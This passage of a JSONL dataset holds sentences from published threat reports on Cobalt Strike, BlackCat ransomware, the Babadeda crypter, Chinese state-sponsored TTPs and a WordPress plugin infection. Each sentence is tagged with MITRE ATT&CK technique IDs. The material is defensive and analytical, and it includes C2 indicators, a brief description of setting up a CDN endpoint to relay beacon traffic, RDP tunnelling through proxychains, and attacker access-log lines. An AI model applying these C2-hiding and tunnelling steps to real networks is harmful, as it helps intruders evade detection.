"Cobalt Strike a Defenders Guide Part 2"} {"sentence": "A trained eye could spot some of the Malleable profiles that exist on freely available resources such as Raphael Mudge’s list on his GitHub page.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "| | 190.114.254.116 | /push | | 190.114.254.116 | /__utm.gif | | kaslose.com | /jquery-3.3.1.min.js | | yawero.com | /skin.js | | sazoya.com | /skin.js | | 192.198.86.130 | /skin.js | | 162.244.83.216 | /jquery-3.3.1.min.js | | sammitng.com | /jquery-3.3.1.min.js | | 23.19.227.147 | /styles.html", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "He also includes other fields related to post-exploitation beacon configuration along with network communication-related fields.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "This technique is possible thanks to Content Delivery Networks (CDNs).", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Setup the CDN service to create a new CDN endpoint and redirect traffic to your domain.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "(e.g., l33th4x0r.cloudfront.net).", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "We see instances where threat actors use their beacon sessions to establish RDP access through a reverse proxy.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "We essentially add the team server’s IP address into the proxychains configuration and connect with xfreerdp.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "As shown above, malleable C2 profiles can generate unique network traffic based on the provided configuration.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "The operators can configure the pipename on the client; however, the default pipename starts with “msagent_#” for SMB beacons.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "According to our records, SMB beacons are not frequently used.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Sigma We’ll go through a few Sigma rules that can help us detect Cobalt Strike’s network activity.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Other malleable profile rules include CobaltStrike Malformed UAs in Malleable Profiles, CobaltStrike Malleable (OCSP) Profile, and CobaltStrike Malleable OneDrive Browsing Traffic Profile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Rita is a framework for detecting command and control communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Below, we can see the results from one of our recent cases, BazarLoader and the Conti Leaks.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "The unique signatures can represent several values collected from fields in the Client", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "The combination of the two can produce the most accurate result.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "According to Cobalt Strike’s documentation, OpenJDK 11 is the preferred version that needs to be installed by the operators.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "To generate a JARM fingerprint against a server, you can run the JARM python tool: python3 jarm.py", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "More on this and other tools in the next report.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "All for now That wraps up Cobalt Strike, a Defender’s Guide Part 2.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Please see the bottom of our first report for more detections & rules.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "The post Cobalt Strike, a Defender’s Guide – Part 2 appeared first on The DFIR Report.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide Part 2"} {"sentence": "Executive Summary Malware authors often throw curve balls that are meant to confound automated detection systems.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Due to the endless cat-and-mouse nature of reacting to malware authors’ efforts to remain undetected, we’ve come to understand that the most important characteristic for any automated malware analysis platform is adaptability.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Table of Contents Dependency EmulationExample File InfectorMitigating the Dependency ProblemVMI SSL/TLS DecryptionTLS HandshakesExample SSL Decryption With WiresharkConclusionIndicators of Compromise Dependency Emulation In the context of malware execution, we talk a lot about dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "When we run any executable in our sandbox environment that requires dependencies that are not present, we would see the same error.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we compare the original file to the infected file inside a PE viewer like StudPE (shown in Figure 3), we notice that the infector has modified only a few values in the PE headers including the size of the image, checksum and section flags to make the last section executable.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Since we have full control over the sandbox, it’s easy to determine that the executable under analysis requires an external library, and to lie to the executable that all of its dependency requirements are met.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "If we can get the malware sample under analysis to get past the Windows loader, initialize itself and unpack any additional payloads, we have a much better shot at detection.", "labels": ["T1027"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Otherwise, we simply get an error from the Windows loader (as shown in Figure 1) and no additional information beyond what static analysis would buy us.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "But what happens when the executable tries to call a function in one of those dependencies?", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "We don’t need to correctly execute every code path present in the executable, we just need enough execution and memory artifacts for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "It is possible, of course, to take the easy route and intercept and decrypt all of the traffic from our sandbox with a meddler-in-the-middle approach.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Final keys and initialization vectors used to encrypt and decrypt network traffic are generated from the master secret through a key expansion.", "labels": ["T1027", "T1140"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "In Figures 9 and 10, we can see the communication to the public file storage service.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Communication to the public file storage service.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "With the decrypted content, we can write more precise behaviors and signatures that match a malicious sample's network communication.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "Conclusion In this post we have discussed two important ways we’ve been able to tailor our analysis environment.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"} {"sentence": "In a discovery of critical importance to anyone familiar with this space, Morphisec Labs has encountered a new campaign of malware targeting cryptocurrency enthusiasts through Discord.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Although some variants of this crypter have been noted by other vendors, Morphisec is the first to fully disclose how it works.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "We know that this malware installer has been used in a variety of recent campaigns to deliver information stealers, RATs, and even LockBit ransomware.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "In recent years, NFTs have exploded in popularity, and are now starting to enter the mainstream consciousness.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Typically: Cybersquatting - the domain names of the decoy sites look a lot like the domain names of the original sites Threat actors will usually remove/add a letter from/to the domain name or change the top-level domain.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "This suggests that the threat actor's origins may be in a Russian-speaking country since they most likely forgot to translate the HTML object from their native language into English Figure 3: Lost in translation?", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "The Payloads The following table tracks the RATs used by this specific campaign’s threat actor", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "At first glance, the files within the directory may seem legitimate.", "labels": ["T1036.005"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Alternatively, its role may be to deceive the user into thinking that the application has failed to execute, even as it silently continues the malicious execution in the background.", "labels": ["T1204.002"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Figure 13: .lnk file persistence implementation Write a registry Run key that executes the Crypter’s main executable.", "labels": ["T1547.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Figure 19: Change headers protection and clear memory bytes for the new PE Once previous bytes have been cleared, the Loader copies the new PE headers to the base address and each section to the relevant location according to the IMAGE_SECTION_HEADER.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Correction The final stage is responsible for fixing the import address table and relocation table of the newly injected PE.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "mw_construct_RELOC Calculate the delta between the previous image base and the current one.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Iterate over each entry in the relocation table.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "In addition to fixing the import address and relocation tables, the Loader removes evidence of injection by using the following methods: Update the LDR data table entry to match the injected PE.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"} {"sentence": "Operating a ransomware-as-a-service (RaaS) business model, BlackCat was observed soliciting for affiliates in known cybercrime forums, offering to allow affiliates to leverage the ransomware and keep 80-90% of the ransom payment.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The remainder would be paid to the BlackCat author.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The largest number of the group’s victims so far are U.S. organizations, but BlackCat and its affiliates have also attacked organizations in Europe, the Philippines and other locations.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The malware itself is written in Russian and coded in the Rust programming language.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Full visualization of the techniques observed, relevant courses of action and IOCs can be viewed in the Unit 42 ATOM viewer.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "While Conti (ranked second) has been around in various guises for almost two years, it is surrounded at the top of the chart by emerging families.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "LockBit 2.0 and Hive both have at least six months’ head start on BlackCat, but this highlights a worrying trend that newcomers (or reformed groups) can attack many victims in a short space of time. Figure 1.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "BlackCat leak site victims by country.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Technical Details BlackCat is positioned to pivot to individualized, customized attacks due to the numerous options available when coding in Rust (Figure 3).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Because of its efficiency and adaptability, BlackCat has been seen targeting both Windows and Linux systems.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "BlackCat execution options.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Post-compromise Activities Once candidate systems have been identified for encryption by the threat actors, the ransomware deployment occurs and all viable files will be encrypted.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "BlackCat utilizes a unique onion domain with a victim-specific access key for the victim to use to learn more about the attack, their data, and what the threat actors want the victim to do next.", "labels": ["T1090"], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Unit 42 has observed BlackCat affiliates asking for ransom amounts of up to $14 million, though they offered to discount this demand to $9 million if paid before the established time.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Interestingly, the ransom demand gives the victim the option to pay not only in Bitcoin (the most common option) but also in Monero.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "In some cases, BlackCat operators use the chat to threaten the victim, claiming they will perform a DDoS attack on the victims' infrastructure if the ransom is not paid.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The below courses of action mitigate the following techniques: Process Discovery [T1057], File and Directory Discovery [T1083] CORTEX XDR PREVENT Configure Behavioral Threat Protection under the Malware Security Profile Lateral Movement", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "The below courses of action mitigate the following techniques: Lateral Tool Transfer [T1570] THREAT PREVENTION† Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories and threats Ensure a secure antivirus profile is applied to all relevant security policies Command and Control", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "By leveraging the Rust programming language, the malware authors are able to easily compile it against various operating system architectures, which facilitates the group’s ability to pivot from one victim to the next.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance (CTA) members.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"} {"sentence": "Original release date: July 19, 2021 | Last revised: August 20, 2021SummaryThis advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK:registered:) framework, Version 9, and MITRE D3FEND:trade_mark: framework, version 0.9.2-BETA-3.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "For information on Common Vulnerabilities and Exposures (CVE) known to be exploited by malicious Chinese state-sponsored cyber actors, see: CISA-FBI Joint CSA AA20-133A: Top 10 Routinely Exploited Vulnerabilities, CISA Activity Alert: AA20-275A: Potential for China Cyber Response to Heightened U.S.-China Tensions, and NSA CSA U/OO/179811-20: Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities.", "labels": ["T1090"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Appendix B: MITRE ATT&CK Framework lists the tactics and techniques used by Chinese state-sponsored cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Mitigations NSA, CISA, and FBI urge federal and SLTT government, CI, DIB, and private industry organizations to apply the following recommendations as well as the detection and mitigation recommendations in Appendix A, which are tailored to observed tactics and techniques: Patch systems and equipment promptly and diligently.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Note: for more information on CVEs routinely exploited by Chinese state-sponsored cyber actors refer to the resources listed in the Trends in Chinese State-Sponsored Cyber Operations section.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Follow the best practices of restricting attachments via email and blocking URLs and domains based upon reputation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "• D3FEND is a trademark of The MITRE Corporation.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization’s fully qualified domain name, IP address space, and open ports to target or exploit.", "labels": ["T1016"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Active scanning from cyber actors may be identified by monitoring network traffic for sources associated with botnets, adversaries, and known bad IPs based on threat intelligence.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-CAA] Isolate: Network Isolation Inbound Traffic Filtering [D3-ITF] Gather Victim Network Information", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Adversary activities occurring outside the organization’s boundary of control and view makes mitigation difficult.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "N/A Stage Capabilities [T1608] Obtain Capabilities", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Organizations may be able to identify malicious use of Cobalt Strike by: Examining network traffic using Transport Layer Security (TLS) inspection to identify Cobalt Strike.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "If discovered, additional recovery and investigation will be required.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-EAL] Network Isolation DNS Denylisting [D3-DNSDL] Outbound Traffic Filtering [D3-OTF] Exploit Public-Facing Application [T1190] Chinese state-sponsored cyber actors have exploited known vulnerabilities in Internet-facing systems.[1]", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Application Hardening [D3-AH]", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Implement a user training program and simulated spearphishing emails to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-SMRA] Sender Reputation Analysis [D3-SRA] External Remote Services", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including net, asp, apsx, php, japx, and cfm.", "labels": ["T1190"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Note: refer to the references listed above in Exploit Public-Facing Application [T1190] for information on CVEs known to be exploited by malicious Chinese cyber actors.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Many exploits can be mitigated by applying available patches for vulnerabilities (such as CVE-2019-11510, CVE-2019-19781, and CVE-2020-5902) affecting external remote services.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-CAA] Platform Monitoring [D3-PM] Process Analysis Process Spawn Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-SPA] Process Lineage Analysis [D3-PLA] Valid Accounts", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[T1078]: Default Accounts [T1078.001] Domain Accounts [T1078.002] Chinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks.", "labels": ["T1078"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Change all default usernames and passwords.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Routinely update and secure applications using Secure Shell (SSH).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Using PowerShell to conduct reconnaissance, enumeration, and discovery of the victim network.", "labels": ["T1210"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "PowerShell Turn on PowerShell logging.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "NSA, CISA, and FBI recommend using version 5 or higher.)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Regularly evaluate and update blocklists and allowlists.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Blocklist scripting where appropriate.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Ensure least privilege principles are applied to user accounts and groups.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "These emails may contain a malicious link or file that provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.", "labels": ["T1204.002", "T1566.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Use a domain reputation service to detect and block suspicious or malicious domains.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Implement tools for detecting search order hijacking opportunities.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Use application allowlisting to block unknown DLLs.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor the file system for created, moved, and renamed DLLs.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor DLLs loaded by processes (e.g., legitimate name, but abnormal path).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detect: Platform Monitoring Operating System Monitoring Service Binary Verification", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[T1556] Domain Controller Authentication [T1556.001] Chinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[TA0006].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Detect: Process Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[T1543]: Windows Service [T1543.003] Chinese state-sponsored cyber actors have been observed executing malware shellcode and batch files to establish new services to enable persistence.", "labels": ["T1059.003", "T1543.003"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[T1055.002] Chinese state-sponsored cyber actors have been observed: Injecting into the rundll32.exe process to hide usage of Mimikatz, as well as injecting into a running legitimate explorer.exe process for lateral movement.", "labels": ["T1003.001", "T1055"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Using shellcode that injects implants into newly created instances of the Service Host process (svchost)", "labels": ["T1055"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[TA0005].", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor for suspicious sequences of Windows API calls such as CreateRemoteThread, VirtualAllocEx, or WriteProcessMemory and analyze processes for unexpected or atypical behavior such as opening network connections or reading files.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-EDL] Hide Artifacts", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor the file system and shell commands for hidden attribute usage.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-EAL] Indicator Removal from Host [T1070] Chinese state-sponsored cyber actors have been observed deleting files using rm or del commands.", "labels": ["T1070.004"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-FAPA] Signed Binary Proxy Execution", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[T1212] Chinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor process and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NDST.DIT.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Implement Credential Guard to protect the LSA secrets from credential dumping on Windows 10.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-FAPA] System Call Analysis [D3-SCA] Isolate: Execution Isolation Hardware-based Process Isolation [D3-HBPI] Mandatory Access Control [D3-MAC] Tactics: Discovery [TA0007] Table IX: Chinese state-sponsored cyber actors’", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Discovery TTPs with detection and mitigation recommendations Threat Actor Technique / Sub-Techniques Threat Actor Procedure(s)", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-DQSA] File Access Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Disable or remove unnecessary services.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Perform vulnerability scanning and update software regularly.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Scan systems to identify unauthorized archival utilities or methods unusual for the environment.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-FAPA] Process Spawn Analysis [D3-PSA] Isolate: Execution Isolation Executable Denylisting [D3-EDL] Clipboard Data [T1115] Chinese state-sponsored cyber actors used RDP and execute rdpclip.exe to exfiltrate information from the clipboard.", "labels": ["T1021.001"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Using malware implants that use the Dropbox:registered: API for C2 and a downloader that downloads and executes a payload using the Microsoft OneDrive:registered: API.", "labels": ["T1105"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Chinese state-sponsored cyber actors used the Server Message Block (SMB) protocol to import tools into victim networks.", "labels": ["T1570"], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Do not expose services and protocols (such as File Transfer Protocol", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[FTP]) to the Internet without strong business justification.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Monitor systems for connections using ports/protocols commonly associated with tunneling, such as SSH (port 22).", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "[D3-PMAD] Relay Pattern Analysis", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "Contact InformationTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov.", "labels": [], "doc_title": "AA21200B Chinese StateSponsored Cyber Operations Observed TTPs"} {"sentence": "publicWWW scan results.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "Naturally, if you are a website owner using this plugin and haven’t yet already, patch now!", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "These 100+ downloads per day couldn’t contribute to the increase in active downloads and the volume of hacked sites that we see.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "The real reason of the increase in active installs is that hackers started to upload a modified version of this plugin as posts-layouts to compromised websites:We can clearly see this in the access logs of infected sites:193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "[12/May/2023:21:17:33 +0000] \"GET /wp-admin/plugin-install.php?wc-ajax=1\" 200 0 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "[12/May/2023:21:17:36 +0000] \"POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1\" 200 9567 - 16276 25453 193.169.195.64 -", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "[12/May/2023:21:17:56 +0000] \"GET /wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=\" 200 0 - 16276 25581While the plugin is placed in a directory with a different name, all the metadata is still from the real post-layouts plugin, which confuses WordPress and they count this malicious plugin as a real one, thus inflating the number of “active installs” in the WordPress repository.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "When decoded, the following script injection is revealed from cdn[.]scriptsplatform[.]com:", "labels": ["T1140"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "Chrome/84.0.4147.125 Safari/537.36\" … //After the infection the same request returns a short 332 byte page (including headers) 193.169.195.64 - - [12/May/2023:21:17:59 +0000] \"GET /?343=1 HTTP/1.0\" 200 332 \"-\" \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "Safari/537.36\"The malicious stats.js payload JavaScript file is, as usual, a heavily obfuscated script that looks like the following:Moreover, the WordPress wp_head hook is used within the payload, which ensures that the 